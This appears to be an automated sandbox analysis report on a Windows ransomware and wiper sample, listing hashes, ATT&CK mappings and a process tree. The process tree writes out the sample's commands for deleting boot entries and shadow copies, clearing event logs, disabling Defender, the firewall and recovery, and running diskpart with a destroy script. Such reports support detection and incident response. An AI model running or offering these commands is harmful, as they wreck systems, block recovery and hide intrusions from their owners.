cd905ad13683221a6f7b2de0ad3928e5a9d7a552117bd6cfc19662ebb19b9eeb

Analysis

max time kernel
16s
max time network
12s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
Size 299KB
Sample260729-dd779sshpc
SHA256 cd905ad13683221a6f7b2de0ad3928e5a9d7a552117bd6cfc19662ebb19b9eeb
MD5 1b7188bccb194e8ab89da7673ca9e029
SHA1 37b9cc0109457e3931d8638dacd6d07f6fb06ac9
SHA512 d3aeb93b42bd23ccb6d70682ccdb0d8b7be0543aaa2142fd1aedc879bb38904b5800680b63ad618853037281618f7124244a3dd8547378b4263c2bf537226a69
SSDEEP 6144:/aNAN6ij56+haK1aoAVhqRXBy0w8hFhTamraG:/aNAR3a2aoQKXBy0JFhTamr
TLSH
T1D6647B17B79555BCE15AC038934A95B3BA72B8CA06307DBF13E49A303F16D512F2CB1A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion execution impact persistence privilege_escalation ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 6 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
6020	wevtutil.exe
2100	wevtutil.exe
1372	wevtutil.exe
5492	wevtutil.exe
1452	wevtutil.exe
3948	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/memory/2748-74-0x00007FF7757B0000-0x00007FF775801000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2516	netsh.exe
4480	netsh.exe
4956	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Modifies boot configuration data using bcdedit 7 IoCs

pid	Process
4132	bcdedit.exe
796	bcdedit.exe
4776	bcdedit.exe
3592	bcdedit.exe
4176	bcdedit.exe
5348	bcdedit.exe
5244	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	\??\PhysicalDrive0	vds.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\config\SOFTWARE	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\DEFAULT	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\ntoskrnl.exe	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\kdcom.dll	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\kernel32.dll	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE.LOG	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\DEFAULT.LOG	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SYSTEM.LOG1	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\winresume.exe	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\clfs.sys	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\ci.dll	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\ntdll.dll	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SAM	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\bootreg.dll	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SYSTEM	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SECURITY	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SYSTEM.LOG	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SAM.LOG	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\config\SECURITY.LOG	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\MRT.exe	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\hal.dll	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
File opened for modification	C:\Windows\System32\winload.exe	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe

Launches sc.exe 24 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5748	sc.exe
2848	sc.exe
4564	sc.exe
2740	sc.exe
2372	sc.exe
4576	sc.exe
5564	sc.exe
5624	sc.exe
2452	sc.exe
2332	sc.exe
3988	sc.exe
4632	sc.exe
5936	sc.exe
4288	sc.exe
1380	sc.exe
5324	sc.exe
2512	sc.exe
4760	sc.exe
3364	sc.exe
4708	sc.exe
6104	sc.exe
5760	sc.exe
4832	sc.exe
4676	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5848	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3028	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5848	powershell.exe
2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
Token: SeSecurityPrivilege	3548	wevtutil.exe
Token: SeBackupPrivilege	3548	wevtutil.exe
Token: SeSecurityPrivilege	5492	wevtutil.exe
Token: SeBackupPrivilege	5492	wevtutil.exe
Token: SeSecurityPrivilege	1452	wevtutil.exe
Token: SeBackupPrivilege	1452	wevtutil.exe
Token: SeSecurityPrivilege	3948	wevtutil.exe
Token: SeBackupPrivilege	3948	wevtutil.exe
Token: SeSecurityPrivilege	6020	wevtutil.exe
Token: SeBackupPrivilege	6020	wevtutil.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeSecurityPrivilege	2100	wevtutil.exe
Token: SeBackupPrivilege	2100	wevtutil.exe
Token: SeSecurityPrivilege	1372	wevtutil.exe
Token: SeBackupPrivilege	1372	wevtutil.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 4132	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	89
PID 2748 wrote to memory of 796	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	90
PID 2748 wrote to memory of 4776	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	91
PID 2748 wrote to memory of 3592	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	92
PID 2748 wrote to memory of 4176	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	93
PID 2748 wrote to memory of 5348	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	94
PID 2748 wrote to memory of 5244	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	95
PID 2748 wrote to memory of 4320	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	96
PID 2748 wrote to memory of 4244	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	97
PID 2748 wrote to memory of 2528	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	98
PID 2748 wrote to memory of 5484	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	99
PID 2748 wrote to memory of 1520	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	100
PID 2748 wrote to memory of 3352	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	101
PID 2748 wrote to memory of 3548	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	102
PID 2748 wrote to memory of 1380	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	103
PID 2748 wrote to memory of 2516	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	104
PID 2748 wrote to memory of 300	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	105
PID 2748 wrote to memory of 2848	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	106
PID 2748 wrote to memory of 5492	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	107
PID 2748 wrote to memory of 5324	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	108
PID 2748 wrote to memory of 5564	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	109
PID 2748 wrote to memory of 3028	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	110
PID 2748 wrote to memory of 1452	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	111
PID 2748 wrote to memory of 4564	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	112
PID 2748 wrote to memory of 2512	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	113
PID 2748 wrote to memory of 5848	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	114
PID 2748 wrote to memory of 3948	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	115
PID 2748 wrote to memory of 5760	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	116
PID 2748 wrote to memory of 6020	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	117
PID 2748 wrote to memory of 5624	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	118
PID 2748 wrote to memory of 2100	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	119
PID 2748 wrote to memory of 4760	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	120
PID 2748 wrote to memory of 3588	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	121
PID 2748 wrote to memory of 2452	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	122
PID 2748 wrote to memory of 1372	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	123
PID 2748 wrote to memory of 2332	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	125
PID 2748 wrote to memory of 4480	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	126
PID 2748 wrote to memory of 3988	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	127
PID 2748 wrote to memory of 3364	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	129
PID 2748 wrote to memory of 4708	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	130
PID 2748 wrote to memory of 4632	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	131
PID 2748 wrote to memory of 2740	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	132
PID 2748 wrote to memory of 2372	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	133
PID 2748 wrote to memory of 4832	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	134
PID 2748 wrote to memory of 6104	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	135
PID 2748 wrote to memory of 4676	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	136
PID 2748 wrote to memory of 5936	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	137
PID 2748 wrote to memory of 4288	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	138
PID 2748 wrote to memory of 4576	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	139
PID 2748 wrote to memory of 5748	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	140
PID 2748 wrote to memory of 4956	2748	2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {current} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4132
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {bootmgr} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:796
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {memdiag} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4776
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {fwbootmgr} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3592
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /delete {bootsectbak} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4176
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /createstore C:\Boot\BCD
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5348
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /createstore S:\EFI\Microsoft\Boot\BCD
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5244
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable
  2⤵
  PID:4244
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable
  2⤵
  PID:5484
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /Change /TN "\Microsoft\Windows\RemovalTools\MRT_HB" /Disable
  2⤵
  PID:1520
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /Delete /TN "\Microsoft\Windows\RemovalTools\MRT_HB" /F
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil el
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- C:\Windows\SYSTEM32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1380
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set domainprofile state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2516
- C:\Windows\SYSTEM32\reagentc.exe
  reagentc /disable
  2⤵
  - Drops file in Windows directory
  PID:300
- C:\Windows\SYSTEM32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil cl "System"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:5492
- C:\Windows\SYSTEM32\sc.exe
  sc stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:5324
- C:\Windows\SYSTEM32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5564
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3028
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil cl "Security"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\SYSTEM32\sc.exe
  sc stop Sense
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\SYSTEM32\sc.exe
  sc config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Disable-ComputerRestore -Drive 'C:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5848
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil cl "Application"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:3948
- C:\Windows\SYSTEM32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5760
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:6020
- C:\Windows\SYSTEM32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5624
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil cl "Microsoft-Windows-Kernel-General/Operational"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2100
- C:\Windows\SYSTEM32\sc.exe
  sc stop VSS
  2⤵
  - Launches sc.exe
  PID:4760
- C:\Windows\SYSTEM32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\\dp_destroy.txt
  2⤵
  PID:3588
- C:\Windows\SYSTEM32\sc.exe
  sc config VSS start= disabled
  2⤵
  - Launches sc.exe
  PID:2452
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil cl "Microsoft-Windows-PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1372
- C:\Windows\SYSTEM32\sc.exe
  sc stop swprv
  2⤵
  - Launches sc.exe
  PID:2332
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set privateprofile state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4480
- C:\Windows\SYSTEM32\sc.exe
  sc config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:3988
- C:\Windows\SYSTEM32\sc.exe
  sc stop WSearch
  2⤵
  - Launches sc.exe
  PID:3364
- C:\Windows\SYSTEM32\sc.exe
  sc config WSearch start= disabled
  2⤵
  - Launches sc.exe
  PID:4708
- C:\Windows\SYSTEM32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4632
- C:\Windows\SYSTEM32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\SYSTEM32\sc.exe
  sc stop WerSvc
  2⤵
  - Launches sc.exe
  PID:2372
- C:\Windows\SYSTEM32\sc.exe
  sc config WerSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\SYSTEM32\sc.exe
  sc stop BITS
  2⤵
  - Launches sc.exe
  PID:6104
- C:\Windows\SYSTEM32\sc.exe
  sc config BITS start= disabled
  2⤵
  - Launches sc.exe
  PID:4676
- C:\Windows\SYSTEM32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5936
- C:\Windows\SYSTEM32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4288
- C:\Windows\SYSTEM32\sc.exe
  sc stop TrustedInstaller
  2⤵
  - Launches sc.exe
  PID:4576
- C:\Windows\SYSTEM32\sc.exe
  sc config TrustedInstaller start= disabled
  2⤵
  - Launches sc.exe
  PID:5748
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set publicprofile state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4956

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2328

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
PID:1124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

dp_destroy.txt

Path C:\Users\Admin\AppData\Local\Temp\dp_destroy.txt
Size 108B
SHA256 2d6361cd6270b4050e7a9ae90502933e915df01efb054808b68646dd5ae00b83
MD5 f3a13568c3ad10bc758a7ad2d3b3484c
SHA1 26d4974ce538aeca059b15fe8ccc13a5c456d626
SHA512 ddac11568f2c67963b07fadf3d7e379f241537d025f33f557dde43008e44b627082eb63f334ba96b2694f21f7df6e6ed05e4da6cfbaa5d74c34495149a77b33f
TLSH
T1F0B0021145867535319BC652D6F03D19492600A48E71201DDE86B0950417A38A68BF47
MD5 SHA1 SHA512 TLSH

Submit Download

hive_SAM

Path C:\Users\Admin\AppData\Local\Temp\hive_SAM
Size 4KB
SHA256 ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
MD5 620f0b67a91f7f74151bc5be745b7110
SHA1 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
SHA512 2d23913d3759ef01704a86b4bee3ac8a29002313ecc98a7424425a78170f219577822fd77e4ae96313547696ad7d5949b58e12d5063ef2ee063b595740a3a12d
MD5 SHA1 SHA512

Submit Download

debug_ntfs.txt

Path C:\debug_ntfs.txt
Size 4B
SHA256 b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b
MD5 b326b5062b2f0e69046810717534cb09
SHA1 5ffe533b830f08a0326348a9160afafc8ada44db
SHA512 9120cd5faef07a08e971ff024a3fcbea1e3a6b44142a6d82ca28c6c42e4f852595bcf53d81d776f10541045abdb7c37950629415d0dc66c8d86c64a5606d32de
MD5 SHA1 SHA512

Submit Download

memory/2748-74-0x00007FF7757B0000-0x00007FF775801000-memory.dmp

Download

memory/5848-69-0x000002277A880000-0x000002277A8A2000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads